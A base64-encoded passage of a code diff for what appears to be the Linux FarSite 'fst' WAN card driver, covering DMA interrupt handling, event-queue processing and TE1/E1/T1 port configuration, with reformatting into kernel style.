ZnN0X3J4X2RtYV9jb21wbGV0ZShjYXJkLCBjYXJkLT5kbWFfcG9ydF9yeCwKKwkJCQkJICAgIGNh cmQtPmRtYV9sZW5fcngsIGNhcmQtPmRtYV9za2JfcngsCisJCQkJCSAgICBjYXJkLT5kbWFfcnhw b3MpOworCQkJY2FyZC0+ZG1hcnhfaW5fcHJvZ3Jlc3MgPSAwOworCQkJZG9fY2FyZF9pbnRlcnJ1 cHQgKz0gRlNUX1JYX0RNQV9JTlQ7CisJCX0KKwkJaWYgKGRtYV9pbnRjc3IgJiAweDAwNDAwMDAw KSB7CisJCQkvKgorCQkJICogRE1BIENoYW5uZWwgMSAoVHggdHJhbnNmZXIgY29tcGxldGUpCisJ CQkgKi8KKwkJCWRiZyhEQkdfVFgsICJETUEgVHggeGZlciBjb21wbGV0ZVxuIik7CisJCQlvdXRi KDB4OCwgY2FyZC0+cGNpX2NvbmYgKyBETUFDU1IxKTsKKwkJCWZzdF90eF9kbWFfY29tcGxldGUo Y2FyZCwgY2FyZC0+ZG1hX3BvcnRfdHgsCisJCQkJCSAgICBjYXJkLT5kbWFfbGVuX3R4LCBjYXJk LT5kbWFfdHhwb3MpOworCQkJY2FyZC0+ZG1hdHhfaW5fcHJvZ3Jlc3MgPSAwOworCQkJZG9fY2Fy ZF9pbnRlcnJ1cHQgKz0gRlNUX1RYX0RNQV9JTlQ7CisJCX0KKwl9CiAKKwkvKgorCSAqIEhhdmUg d2UgYmVlbiBtaXNzaW5nIEludGVycnVwdHMKKwkgKi8KKwlpbnRfcmV0cnlfY291bnQgPSBGU1Rf UkRMKGNhcmQsIGludGVycnVwdFJldHJ5Q291bnQpOworCWlmIChpbnRfcmV0cnlfY291bnQpIHsK KwkJZGJnKERCR19BU1MsICJDYXJkICVkIGludF9yZXRyeV9jb3VudCBpcyAgJWRcbiIsCisJCSAg ICBjYXJkLT5jYXJkX25vLCBpbnRfcmV0cnlfY291bnQpOworCQlGU1RfV1JMKGNhcmQsIGludGVy cnVwdFJldHJ5Q291bnQsIDApOworCX0KKworCWlmICghZG9fY2FyZF9pbnRlcnJ1cHQpIHsKKwkJ cmV0dXJuOworCX0KKworCS8qIFNjZWhkdWxlIHRoZSBib3R0b20gaGFsZiBvZiB0aGUgSVNSICov CisJZnN0X3Ffd29ya19pdGVtKCZmc3Rfd29ya19pbnRxLCBjYXJkLT5jYXJkX25vKTsKKwl0YXNr bGV0X3NjaGVkdWxlKCZmc3RfaW50X3Rhc2spOworCisJLyogRHJhaW4gdGhlIGV2ZW50IHF1ZXVl ICovCisJcmRpZHggPSBGU1RfUkRCKGNhcmQsIGludGVycnVwdEV2ZW50LnJkaW5kZXgpICYgMHgx ZjsKKwl3cmlkeCA9IEZTVF9SREIoY2FyZCwgaW50ZXJydXB0RXZlbnQud3JpbmRleCkgJiAweDFm OworCXdoaWxlIChyZGlkeCAhPSB3cmlkeCkgeworCQlldmVudCA9IEZTVF9SREIoY2FyZCwgaW50 ZXJydXB0RXZlbnQuZXZudGJ1ZmZbcmRpZHhdKTsKKwkJcG9ydCA9ICZjYXJkLT5wb3J0c1tldmVu dCAmIDB4MDNdOworCisJCWRiZyhEQkdfSU5UUiwgIlByb2Nlc3NpbmcgSW50ZXJydXB0IGV2ZW50 OiAleFxuIiwgZXZlbnQpOworCisJCXN3aXRjaCAoZXZlbnQpIHsKKwkJY2FzZSBURTFfQUxNQToK KwkJCWRiZyhEQkdfSU5UUiwgIlRFMSBBbGFybSBpbnRyXG4iKTsKKwkJCWlmIChwb3J0LT5ydW4p CisJCQkJZnN0X2ludHJfdGUxX2FsYXJtKGNhcmQsIHBvcnQpOworCQkJYnJlYWs7CisKKwkJY2Fz ZSBDVExBX0NIRzoKKwkJY2FzZSBDVExCX0NIRzoKKwkJY2FzZSBDVExDX0NIRzoKKwkJY2FzZSBD VExEX0NIRzoKKwkJCWlmIChwb3J0LT5ydW4pCisJCQkJZnN0X2ludHJfY3RsY2hnKGNhcmQsIHBv cnQpOworCQkJYnJlYWs7CisKKwkJY2FzZSBBQlRBX1NFTlQ6CisJCWNhc2UgQUJUQl9TRU5UOgor CQljYXNlIEFCVENfU0VOVDoKKwkJY2FzZSBBQlREX1NFTlQ6CisJCQlkYmcoREJHX1RYLCAiQWJv cnQgY29tcGxldGUgcG9ydCAlZFxuIiwgcG9ydC0+aW5kZXgpOworCQkJYnJlYWs7CisKKwkJY2Fz ZSBUWEFfVU5ERjoKKwkJY2FzZSBUWEJfVU5ERjoKKwkJY2FzZSBUWENfVU5ERjoKKwkJY2FzZSBU WERfVU5ERjoKKwkJCS8qIERpZmZpY3VsdCB0byBzZWUgaG93IHdlJ2QgZ2V0IHRoaXMgZ2l2ZW4g dGhhdCB3ZQorCQkJICogYWx3YXlzIGxvYWQgdXAgdGhlIGVudGlyZSBwYWNrZXQgZm9yIERNQS4K KwkJCSAqLworCQkJZGJnKERCR19UWCwgIlR4IHVuZGVyZmxvdyBwb3J0ICVkXG4iLCBwb3J0LT5p bmRleCk7CisKKwkJCXBvcnQtPmhkbGMuc3RhdHMudHhfZXJyb3JzKys7CisJCQlwb3J0LT5oZGxj LnN0YXRzLnR4X2ZpZm9fZXJyb3JzKys7CisJCQlkYmcoREJHX0FTUywgIlR4IHVuZGVyZmxvdyBv biBjYXJkICVkIHBvcnQgJWRcbiIsCisJCQkgICAgY2FyZC0+Y2FyZF9ubywgcG9ydC0+aW5kZXgp OworCQkJYnJlYWs7CisKKwkJY2FzZSBJTklUX0NQTFQ6CisJCQlkYmcoREJHX0lOSVQsICJDYXJk IGluaXQgT0sgaW50clxuIik7CisJCQlicmVhazsKKworCQljYXNlIElOSVRfRkFJTDoKKwkJCWRi ZyhEQkdfSU5JVCwgIkNhcmQgaW5pdCBGQUlMRUQgaW50clxuIik7CisJCQljYXJkLT5zdGF0ZSA9 IEZTVF9JRkFJTEVEOworCQkJYnJlYWs7CisKKwkJZGVmYXVsdDoKKwkJCXByaW50a19lcnIoImlu dHI6IHVua25vd24gY2FyZCBldmVudCAlZC4gaWdub3JlZFxuIiwKKwkJCQkgICBldmVudCk7CisJ CQlicmVhazsKKwkJfQorCisJCS8qIEJ1bXAgYW5kIHdyYXAgdGhlIGluZGV4ICovCisJCWlmICgr K3JkaWR4ID49IE1BWF9DSVJCVUZGKQorCQkJcmRpZHggPSAwOworCX0KKwlGU1RfV1JCKGNhcmQs IGludGVycnVwdEV2ZW50LnJkaW5kZXgsIHJkaWR4KTsKK30KIAogLyogICAgICBDaGVjayB0aGF0 IHRoZSBzaGFyZWQgbWVtb3J5IGNvbmZpZ3VyYXRpb24gaXMgb25lIHRoYXQgd2UgY2FuIGhhbmRs ZQogICogICAgICBhbmQgdGhhdCBzb21lIGJhc2ljIHBhcmFtZXRlcnMgYXJlIGNvcnJlY3QKICAq Lwogc3RhdGljIHZvaWQKLWNoZWNrX3N0YXJ0ZWRfb2sgKCBzdHJ1Y3QgZnN0X2NhcmRfaW5mbyAq Y2FyZCApCitjaGVja19zdGFydGVkX29rKHN0cnVjdCBmc3RfY2FyZF9pbmZvICpjYXJkKQogewot ICAgICAgICBpbnQgaTsKKwlpbnQgaTsKIAotICAgICAgICAvKiBDaGVjayBzdHJ1Y3R1cmUgdmVy c2lvbiBhbmQgZW5kIG1hcmtlciAqLwotICAgICAgICBpZiAoIEZTVF9SRFcgKCBjYXJkLCBzbWNW ZXJzaW9uICkgIT0gU01DX1ZFUlNJT04gKQotICAgICAgICB7Ci0gICAgICAgICAgICAgICAgcHJp bnRrX2VyciAoIkJhZCBzaGFyZWQgbWVtb3J5IHZlcnNpb24gJWQgZXhwZWN0ZWQgJWRcbiIsCi0g ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZTVF9SRFcgKCBjYXJkLCBzbWNWZXJzaW9u ICksIFNNQ19WRVJTSU9OICk7Ci0gICAgICAgICAgICAgICAgY2FyZC0+c3RhdGUgPSBGU1RfQkFE VkVSU0lPTjsKLSAgICAgICAgICAgICAgICByZXR1cm47Ci0gICAgICAgIH0KLSAgICAgICAgaWYg KCBGU1RfUkRMICggY2FyZCwgZW5kT2ZTbWNTaWduYXR1cmUgKSAhPSBFTkRfU0lHICkKLSAgICAg ICAgewotICAgICAgICAgICAgICAgIHByaW50a19lcnIgKCJNaXNzaW5nIHNoYXJlZCBtZW1vcnkg c2lnbmF0dXJlXG4iKTsKLSAgICAgICAgICAgICAgICBjYXJkLT5zdGF0ZSA9IEZTVF9CQURWRVJT SU9OOwotICAgICAgICAgICAgICAgIHJldHVybjsKLSAgICAgICAgfQotICAgICAgICAvKiBGaXJt d2FyZSBzdGF0dXMgZmxhZywgMHgwMCA9IGluaXRpYWxpc2luZywgMHgwMSA9IE9LLCAweEZGID0g ZmFpbCAqLwotICAgICAgICBpZiAoKCBpID0gRlNUX1JEQiAoIGNhcmQsIHRhc2tTdGF0dXMgKSkg PT0gMHgwMSApCi0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBjYXJkLT5zdGF0ZSA9IEZTVF9S VU5OSU5HOwotICAgICAgICB9Ci0gICAgICAgIGVsc2UgaWYgKCBpID09IDB4RkYgKQotICAgICAg ICB7Ci0gICAgICAgICAgICAgICAgcHJpbnRrX2VyciAoIkZpcm13YXJlIGluaXRpYWxpc2F0aW9u IGZhaWxlZC4gQ2FyZCBoYWx0ZWRcbiIpOwotICAgICAgICAgICAgICAgIGNhcmQtPnN0YXRlID0g RlNUX0hBTFRFRDsKLSAgICAgICAgICAgICAgICByZXR1cm47Ci0gICAgICAgIH0KLSAgICAgICAg ZWxzZSBpZiAoIGkgIT0gMHgwMCApCi0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBwcmludGtf ZXJyICgiVW5rbm93biBmaXJtd2FyZSBzdGF0dXMgMHgleFxuIiwgaSApOwotICAgICAgICAgICAg ICAgIGNhcmQtPnN0YXRlID0gRlNUX0hBTFRFRDsKLSAgICAgICAgICAgICAgICByZXR1cm47Ci0g ICAgICAgIH0KLQotICAgICAgICAvKiBGaW5hbGx5IGNoZWNrIHRoZSBudW1iZXIgb2YgcG9ydHMg cmVwb3J0ZWQgYnkgZmlybXdhcmUgYWdhaW5zdCB0aGUKLSAgICAgICAgICogbnVtYmVyIHdlIGFz c3VtZWQgYXQgY2FyZCBkZXRlY3Rpb24uIFNob3VsZCBuZXZlciBoYXBwZW4gd2l0aAotICAgICAg ICAgKiBleGlzdGluZyBmaXJtd2FyZSBldGMgc28gd2UganVzdCByZXBvcnQgaXQgZm9yIHRoZSBt b21lbnQuCi0gICAgICAgICAqLwotICAgICAgICBpZiAoIEZTVF9SREwgKCBjYXJkLCBudW1iZXJP ZlBvcnRzICkgIT0gY2FyZC0+bnBvcnRzICkKLSAgICAgICAgewotICAgICAgICAgICAgICAgIHBy aW50a193YXJuICgiUG9ydCBjb3VudCBtaXNtYXRjaC4iCi0gICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICIgRmlybXdhcmUgdGhpbmtzICVkIHdlIHNheSAlZFxuIiwKLSAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgRlNUX1JETCAoIGNhcmQsIG51bWJlck9mUG9ydHMgKSwgY2Fy ZC0+bnBvcnRzICk7Ci0gICAgICAgIH0KLX0KKwkvKiBDaGVjayBzdHJ1Y3R1cmUgdmVyc2lvbiBh bmQgZW5kIG1hcmtlciAqLworCWlmIChGU1RfUkRXKGNhcmQsIHNtY1ZlcnNpb24pICE9IFNNQ19W RVJTSU9OKSB7CisJCXByaW50a19lcnIoIkJhZCBzaGFyZWQgbWVtb3J5IHZlcnNpb24gJWQgZXhw ZWN0ZWQgJWRcbiIsCisJCQkgICBGU1RfUkRXKGNhcmQsIHNtY1ZlcnNpb24pLCBTTUNfVkVSU0lP Tik7CisJCWNhcmQtPnN0YXRlID0gRlNUX0JBRFZFUlNJT047CisJCXJldHVybjsKKwl9CisJaWYg KEZTVF9SREwoY2FyZCwgZW5kT2ZTbWNTaWduYXR1cmUpICE9IEVORF9TSUcpIHsKKwkJcHJpbnRr X2VycigiTWlzc2luZyBzaGFyZWQgbWVtb3J5IHNpZ25hdHVyZVxuIik7CisJCWNhcmQtPnN0YXRl ID0gRlNUX0JBRFZFUlNJT047CisJCXJldHVybjsKKwl9CisJLyogRmlybXdhcmUgc3RhdHVzIGZs YWcsIDB4MDAgPSBpbml0aWFsaXNpbmcsIDB4MDEgPSBPSywgMHhGRiA9IGZhaWwgKi8KKwlpZiAo KGkgPSBGU1RfUkRCKGNhcmQsIHRhc2tTdGF0dXMpKSA9PSAweDAxKSB7CisJCWNhcmQtPnN0YXRl ID0gRlNUX1JVTk5JTkc7CisJfSBlbHNlIGlmIChpID09IDB4RkYpIHsKKwkJcHJpbnRrX2Vycigi RmlybXdhcmUgaW5pdGlhbGlzYXRpb24gZmFpbGVkLiBDYXJkIGhhbHRlZFxuIik7CisJCWNhcmQt PnN0YXRlID0gRlNUX0hBTFRFRDsKKwkJcmV0dXJuOworCX0gZWxzZSBpZiAoaSAhPSAweDAwKSB7 CisJCXByaW50a19lcnIoIlVua25vd24gZmlybXdhcmUgc3RhdHVzIDB4JXhcbiIsIGkpOworCQlj YXJkLT5zdGF0ZSA9IEZTVF9IQUxURUQ7CisJCXJldHVybjsKKwl9CiAKKwkvKiBGaW5hbGx5IGNo ZWNrIHRoZSBudW1iZXIgb2YgcG9ydHMgcmVwb3J0ZWQgYnkgZmlybXdhcmUgYWdhaW5zdCB0aGUK KwkgKiBudW1iZXIgd2UgYXNzdW1lZCBhdCBjYXJkIGRldGVjdGlvbi4gU2hvdWxkIG5ldmVyIGhh cHBlbiB3aXRoCisJICogZXhpc3RpbmcgZmlybXdhcmUgZXRjIHNvIHdlIGp1c3QgcmVwb3J0IGl0 IGZvciB0aGUgbW9tZW50LgorCSAqLworCWlmIChGU1RfUkRMKGNhcmQsIG51bWJlck9mUG9ydHMp ICE9IGNhcmQtPm5wb3J0cykgeworCQlwcmludGtfd2FybigiUG9ydCBjb3VudCBtaXNtYXRjaCBv biBjYXJkICVkLiIKKwkJCSAgICAiIEZpcm13YXJlIHRoaW5rcyAlZCB3ZSBzYXkgJWRcbiIsIGNh cmQtPmNhcmRfbm8sCisJCQkgICAgRlNUX1JETChjYXJkLCBudW1iZXJPZlBvcnRzKSwgY2FyZC0+ bnBvcnRzKTsKKwl9Cit9CiAKIHN0YXRpYyBpbnQKLXNldF9jb25mX2Zyb21faW5mbyAoIHN0cnVj dCBmc3RfY2FyZF9pbmZvICpjYXJkLCBzdHJ1Y3QgZnN0X3BvcnRfaW5mbyAqcG9ydCwKLSAgICAg ICAgICAgICAgICBzdHJ1Y3QgZnN0aW9jX2luZm8gKmluZm8gKQorc2V0X2NvbmZfZnJvbV9pbmZv KHN0cnVjdCBmc3RfY2FyZF9pbmZvICpjYXJkLCBzdHJ1Y3QgZnN0X3BvcnRfaW5mbyAqcG9ydCwK KwkJICAgc3RydWN0IGZzdGlvY19pbmZvICppbmZvKQogewotICAgICAgICBpbnQgZXJyOworCWlu dCBlcnI7CisJdW5zaWduZWQgY2hhciBteV9mcmFtaW5nOwogCi0gICAgICAgIC8qIFNldCB0aGlu Z3MgYWNjb3JkaW5nIHRvIHRoZSB1c2VyIHNldCB2YWxpZCBmbGFncy4KLSAgICAgICAgICogU2V2 ZXJhbCBvZiB0aGUgb2xkIG9wdGlvbnMgaGF2ZSBiZWVuIGludmFsaWRhdGVkL3JlcGxhY2VkIGJ5 IHRoZQotICAgICAgICAgKiBnZW5lcmljIEhETEMgcGFja2FnZS4KLSAgICAgICAgICovCi0gICAg ICAgIGVyciA9IDA7Ci0gICAgICAgIGlmICggaW5mby0+dmFsaWQgJiBGU1RWQUxfUFJPVE8gKQot ICAgICAgICAgICAgICAgIGVyciA9IC1FSU5WQUw7Ci0gICAgICAgIGlmICggaW5mby0+dmFsaWQg JiBGU1RWQUxfQ0FCTEUgKQotICAgICAgICAgICAgICAgIGVyciA9IC1FSU5WQUw7Ci0gICAgICAg IGlmICggaW5mby0+dmFsaWQgJiBGU1RWQUxfU1BFRUQgKQotICAgICAgICAgICAgICAgIGVyciA9 IC1FSU5WQUw7CisJLyogU2V0IHRoaW5ncyBhY2NvcmRpbmcgdG8gdGhlIHVzZXIgc2V0IHZhbGlk IGZsYWdzIAorCSAqIFNldmVyYWwgb2YgdGhlIG9sZCBvcHRpb25zIGhhdmUgYmVlbiBpbnZhbGlk YXRlZC9yZXBsYWNlZCBieSB0aGUgCisJICogZ2VuZXJpYyBoZGxjIHBhY2thZ2UuCisJICovCisJ ZXJyID0gMDsKKwlpZiAoaW5mby0+dmFsaWQgJiBGU1RWQUxfUFJPVE8pIHsKKwkJaWYgKGluZm8t PnByb3RvID09IEZTVF9SQVcpCisJCQlwb3J0LT5tb2RlID0gRlNUX1JBVzsKKwkJZWxzZQorCQkJ cG9ydC0+bW9kZSA9IEZTVF9HRU5fSERMQzsKKwl9CisKKwlpZiAoaW5mby0+dmFsaWQgJiBGU1RW QUxfQ0FCTEUpCisJCWVyciA9IC1FSU5WQUw7CiAKLSAgICAgICAgaWYgKCBpbmZvLT52YWxpZCAm IEZTVFZBTF9NT0RFICkKLSAgICAgICAgICAgICAgICBGU1RfV1JXICggY2FyZCwgY2FyZE1vZGUs IGluZm8tPmNhcmRNb2RlICk7CisJaWYgKGluZm8tPnZhbGlkICYgRlNUVkFMX1NQRUVEKQorCQll cnIgPSAtRUlOVkFMOworCisJaWYgKGluZm8tPnZhbGlkICYgRlNUVkFMX1BIQVNFKQorCQlGU1Rf V1JCKGNhcmQsIHBvcnRDb25maWdbcG9ydC0+aW5kZXhdLmludmVydENsb2NrLAorCQkJaW5mby0+ aW52ZXJ0Q2xvY2spOworCWlmIChpbmZvLT52YWxpZCAmIEZTVFZBTF9NT0RFKQorCQlGU1RfV1JX KGNhcmQsIGNhcmRNb2RlLCBpbmZvLT5jYXJkTW9kZSk7CisJaWYgKGluZm8tPnZhbGlkICYgRlNU VkFMX1RFMSkgeworCQlGU1RfV1JMKGNhcmQsIHN1Q29uZmlnLmRhdGFSYXRlLCBpbmZvLT5saW5l U3BlZWQpOworCQlGU1RfV1JCKGNhcmQsIHN1Q29uZmlnLmNsb2NraW5nLCBpbmZvLT5jbG9ja1Nv dXJjZSk7CisJCW15X2ZyYW1pbmcgPSBGUkFNSU5HX0UxOworCQlpZiAoaW5mby0+ZnJhbWluZyA9 PSBFMSkKKwkJCW15X2ZyYW1pbmcgPSBGUkFNSU5HX0UxOworCQlpZiAoaW5mby0+ZnJhbWluZyA9 PSBUMSkKKwkJCW15X2ZyYW1pbmcgPSBGUkFNSU5HX1QxOworCQlpZiAoaW5mby0+ZnJhbWluZyA9 PSBKMSkKKwkJCW15X2ZyYW1pbmcgPSBGUkFNSU5HX0oxOworCQlGU1RfV1JCKGNhcmQsIHN1Q29u ZmlnLmZyYW1pbmcsIG15X2ZyYW1pbmcpOworCQlGU1RfV1JCKGNhcmQsIHN1Q29uZmlnLnN0cnVj dHVyZSwgaW5mby0+c3RydWN0dXJlKTsKKwkJRlNUX1dSQihjYXJkLCBzdUNvbmZpZy5pbnRlcmZh Y2UsIGluZm8tPmludGVyZmFjZSk7CisJCUZTVF9XUkIoY2FyZCwgc3VDb25maWcuY29kaW5nLCBp bmZvLT5jb2RpbmcpOworCQlGU1RfV1JCKGNhcmQsIHN1Q29uZmlnLmxpbmVCdWlsZE91dCwgaW5m by0+bGluZUJ1aWxkT3V0KTsKKwkJRlNUX1dSQihjYXJkLCBzdUNvbmZpZy5lcXVhbGl6ZXIsIGlu Zm8tPmVxdWFsaXplcik7CisJCUZTVF9XUkIoY2FyZCwgc3VDb25maWcudHJhbnNwYXJlbnRNb2Rl LCBpbmZvLT50cmFuc3BhcmVudE1vZGUpOworCQlGU1RfV1JCKGNhcmQsIHN1Q29uZmlnLmxvb3BN b2RlLCBpbmZvLT5sb29wTW9kZSk7CisJCUZTVF9XUkIoY2FyZCwgc3VDb25maWcucmFuZ2UsIGlu Zm8tPnJhbmdlKTsKKwkJRlNUX1dSQihjYXJkLCBzdUNvbmZpZy50eEJ1ZmZlck1vZGUsIGluZm8t PnR4QnVmZmVyTW9kZSk7CisJCUZTVF9XUkIoY2FyZCwgc3VDb25maWcucnhCdWZmZXJNb2RlLCBp bmZvLT5yeEJ1ZmZlck1vZGUpOworCQlGU1RfV1JCKGNhcmQsIHN1Q29uZmlnLnN0YXJ0aW5nU2xv dCwgaW5mby0+c3RhcnRpbmdTbG90KTsKKwkJRlNUX1dSQihjYXJkLCBzdUNvbmZpZy5sb3NUaHJl c2hvbGQsIGluZm8tPmxvc1RocmVzaG9sZCk7CisJCWlmIChpbmZvLT5pZGxlQ29kZSkKKwkJCUZT VF9XUkIoY2FyZCwgc3VDb25maWcuZW5hYmxlSWRsZUNvZGUsIDEpOworCQllbHNlCisJCQlGU1Rf V1JCKGNhcmQsIHN1Q29uZmlnLmVuYWJsZUlkbGVDb2RlLCAwKTsKKwkJRlNUX1dSQihjYXJkLCBz dUNvbmZpZy5pZGxlQ29kZSwgaW5mby0+aWRsZUNvZGUpOwogI2lmIEZTVF9ERUJVRwotICAgICAg ICBpZiAoIGluZm8tPnZhbGlkICYgRlNUVkFMX0RFQlVHICkKLSAgICAgICAgICAgICAgICBmc3Rf ZGVidWdfbWFzayA9IGluZm8tPmRlYnVnOworCQlpZiAoaW5mby0+dmFsaWQgJiBGU1RWQUxfVEUx KSB7CisJCQlwcmludGsoIlNldHRpbmcgVEUxIGRhdGFcbiIpOworCQkJcHJpbnRrKCJMaW5lIFNw ZWVkID0gJWRcbiIsIGluZm8tPmxpbmVTcGVlZCk7CisJCQlwcmludGsoIlN0YXJ0IHNsb3QgPSAl ZFxuIiwgaW5mby0+c3RhcnRpbmdTbG90KTsKKwkJCXByaW50aygiQ2xvY2sgc291cmNlID0gJWRc biIsIGluZm8tPmNsb2NrU291cmNlKTsKKwkJCXByaW50aygiRnJhbWluZyA9ICVkXG4iLCBteV9m cmFtaW5nKTsKKwkJCXByaW50aygiU3RydWN0dXJlID0gJWRcbiIsIGluZm8tPnN0cnVjdHVyZSk7 CisJCQlwcmludGsoImludGVyZmFjZSA9ICVkXG4iLCBpbmZvLT5pbnRlcmZhY2UpOworCQkJcHJp bnRrKCJDb2RpbmcgPSAlZFxuIiwgaW5mby0+Y29kaW5nKTsKKwkJCXByaW50aygiTGluZSBidWls ZCBvdXQgPSAlZFxuIiwgaW5mby0+bGluZUJ1aWxkT3V0KTsKKwkJCXByaW50aygiRXF1YWxpc2Vy ID0gJWRcbiIsIGluZm8tPmVxdWFsaXplcik7CisJCQlwcmludGsoIlRyYW5zcGFyZW50IG1vZGUg PSAlZFxuIiwKKwkJCSAgICAgICBpbmZvLT50cmFuc3BhcmVudE1vZGUpOworCQkJcHJpbnRrKCJM b29wIG1vZGUgPSAlZFxuIiwgaW5mby0+bG9vcE1vZGUpOworCQkJcHJpbnRrKCJSYW5nZSA9ICVk XG4iLCBpbmZvLT5yYW5nZSk7CisJCQlwcmludGsoIlR4IEJ1ZmZlciBtb2RlID0gJWRcbiIsIGlu Zm8tPnR4QnVmZmVyTW9kZSk7CisJCQlwcmludGsoIlJ4IEJ1ZmZlciBtb2RlID0gJWRcbiIsIGlu Zm8tPnJ4QnVmZmVyTW9kZSk7CisJCQlwcmludGsoIkxPUyBUaHJlc2hvbGQgPSAlZFxuIiwgaW5m by0+bG9zVGhyZXNob2xkKTsKKwkJCXByaW50aygiSWRsZSBDb2RlID0gJWRcbiIsIGluZm8tPmlk bGVDb2RlKTsKKwkJfQorI2VuZGlmCisJfQorI2lmIEZTVF9ERUJVRworCWlmIChpbmZvLT52YWxp ZCAmIEZTVFZBTF9ERUJVRykgeworCQlmc3RfZGVidWdfbWFzayA9IGluZm8tPmRlYnVnOworCX0K ICNlbmRpZgogCi0gICAgICAgIHJldHVybiBlcnI7CisJcmV0dXJuIGVycjsKIH0KIAogc3RhdGlj IHZvaWQKLWdhdGhlcl9jb25mX2luZm8gKCBzdHJ1Y3QgZnN0X2NhcmRfaW5mbyAqY2FyZCwgc3Ry dWN0IGZzdF9wb3J0X2luZm8gKnBvcnQsCi0gICAgICAgICAgICAgICAgc3RydWN0IGZzdGlvY19p bmZvICppbmZvICkKK2dhdGhlcl9jb25mX2luZm8oc3RydWN0IGZzdF9jYXJkX2luZm8gKmNhcmQs IHN0cnVjdCBmc3RfcG9ydF9pbmZvICpwb3J0LAorCQkgc3RydWN0IGZzdGlvY19pbmZvICppbmZv KQogewotICAgICAgICBpbnQgaTsKKwlpbnQgaTsKIAotICAgICAgICBtZW1zZXQgKCBpbmZvLCAw LCBzaXplb2YgKCBzdHJ1Y3QgZnN0aW9jX2luZm8gKSk7CisJbWVtc2V0KGluZm8sIDAsIHNpemVv ZiAoc3RydWN0IGZzdGlvY19pbmZvKSk7CiAKLSAgICAgICAgaSA9IHBvcnQtPmluZGV4OwotICAg ICAgICBpbmZvLT5ucG9ydHMgPSBjYXJkLT5ucG9ydHM7Ci0gICAgICAgIGluZm8tPnR5cGUgICA9 IGNhcmQtPnR5cGU7Ci0gICAgICAgIGluZm8tPnN0YXRlICA9IGNhcmQtPnN0YXRlOwotICAgICAg ICBpbmZvLT5wcm90byAgPSBGU1RfR0VOX0hETEM7Ci0gICAgICAgIGluZm8tPmluZGV4ICA9IGk7 CisJaSA9IHBvcnQtPmluZGV4OworCWluZm8tPmtlcm5lbFZlcnNpb24gPSBMSU5VWF9WRVJTSU9O X0NPREU7CisJaW5mby0+bnBvcnRzID0gY2FyZC0+bnBvcnRzOworCWluZm8tPnR5cGUgPSBjYXJk LT50eXBlOworCWluZm8tPnN0YXRlID0gY2FyZC0+c3RhdGU7CisJaW5mby0+cHJvdG8gPSBGU1Rf R0VOX0hETEM7CisJaW5mby0+aW5kZXggPSBpOwogI2lmIEZTVF9ERUJVRwotICAgICAgICBpbmZv LT5kZWJ1ZyAgPSBmc3RfZGVidWdfbWFzazsKKwlpbmZvLT5kZWJ1ZyA9IGZzdF9kZWJ1Z19tYXNr OwogI2VuZGlmCiAKLSAgICAgICAgLyogT25seSBtYXJrIGluZm9ybWF0aW9uIGFzIHZhbGlkIGlm IGNhcmQgaXMgcnVubmluZy4KLSAgICAgICAgICogQ29weSB0aGUgZGF0YSBhbnl3YXkgaW4gY2Fz ZSBpdCBpcyB1c2VmdWwgZm9yIGRpYWdub3N0aWNzCi0gICAgICAgICAqLwotICAgICAgICBpbmZv LT52YWxpZAotICAgICAgICAgICAgICAgID0gKCggY2FyZC0+c3RhdGUgPT0gRlNUX1JVTk5JTkcg KSA/IEZTVFZBTF9BTEwgOiBGU1RWQUxfQ0FSRCApCisJLyogT25seSBtYXJrIGluZm9ybWF0aW9u IGFzIHZhbGlkIGlmIGNhcmQgaXMgcnVubmluZy4KKwkgKiBDb3B5IHRoZSBkYXRhIGFueXdheSBp biBjYXNlIGl0IGlzIHVzZWZ1bCBmb3IgZGlhZ25vc3RpY3MKKwkgKi8KKwlpbmZvLT52YWxpZCA9 ICgoY2FyZC0+c3RhdGUgPT0gRlNUX1JVTk5JTkcpID8gRlNUVkFMX0FMTCA6IEZTVFZBTF9DQVJE KQogI2lmIEZTVF9ERUJVRwotICAgICAgICAgICAgICAgIHwgRlNUVkFMX0RFQlVHCisJICAgIHwg RlNUVkFMX0RFQlVHCiAjZW5kaWYKLSAgICAgICAgICAgICAgICA7CisJICAgIDsKIAotICAgICAg ICBpbmZvLT5saW5lSW50ZXJmYWNlID0gRlNUX1JEVyAoIGNhcmQsIHBvcnRDb25maWdbaV0ubGlu ZUludGVyZmFjZSApOwotICAgICAgICBpbmZvLT5pbnRlcm5hbENsb2NrID0gRlNUX1JEQiAoIGNh cmQsIHBvcnRDb25maWdbaV0uaW50ZXJuYWxDbG9jayApOwotICAgICAgICBpbmZvLT5saW5lU3Bl ZWQgICAgID0gRlNUX1JETCAoIGNhcmQsIHBvcnRDb25maWdbaV0ubGluZVNwZWVkICk7Ci0gICAg ICAgIGluZm8tPnYyNElwU3RzICAgICAgPSBGU1RfUkRMICggY2FyZCwgdjI0SXBTdHNbaV0gKTsK LSAgICAgICAgaW5mby0+djI0T3BTdHMgICAgICA9IEZTVF9SREwgKCBjYXJkLCB2MjRPcFN0c1tp XSApOwotICAgICAgICBpbmZvLT5jbG9ja1N0YXR1cyAgID0gRlNUX1JEVyAoIGNhcmQsIGNsb2Nr U3RhdHVzW2ldICk7Ci0gICAgICAgIGluZm8tPmNhYmxlU3RhdHVzICAgPSBGU1RfUkRXICggY2Fy ZCwgY2FibGVTdGF0dXMgKTsKLSAgICAgICAgaW5mby0+Y2FyZE1vZGUgICAgICA9IEZTVF9SRFcg KCBjYXJkLCBjYXJkTW9kZSApOwotICAgICAgICBpbmZvLT5zbWNGaXJtd2FyZVZlcnNpb24gID0g RlNUX1JETCAoIGNhcmQsIHNtY0Zpcm13YXJlVmVyc2lvbiApOworCWluZm8tPmxpbmVJbnRlcmZh Y2UgPSBGU1RfUkRXKGNhcmQsIHBvcnRDb25maWdbaV0ubGluZUludGVyZmFjZSk7CisJaW5mby0+ aW50ZXJuYWxDbG9jayA9IEZTVF9SREIoY2FyZCwgcG9ydENvbmZpZ1tpXS5pbnRlcm5hbENsb2Nr KTsKKwlpbmZvLT5saW5lU3BlZWQgPSBGU1RfUkRMKGNhcmQsIHBvcnRDb25maWdbaV0ubGluZVNw ZWVkKTsKKwlpbmZvLT5pbnZlcnRDbG9jayA9IEZTVF9SREIoY2FyZCwgcG9ydENvbmZpZ1tpXS5p bnZlcnRDbG9jayk7CisJaW5mby0+djI0SXBTdHMgPSBGU1RfUkRMKGNhcmQsIHYyNElwU3RzW2ld 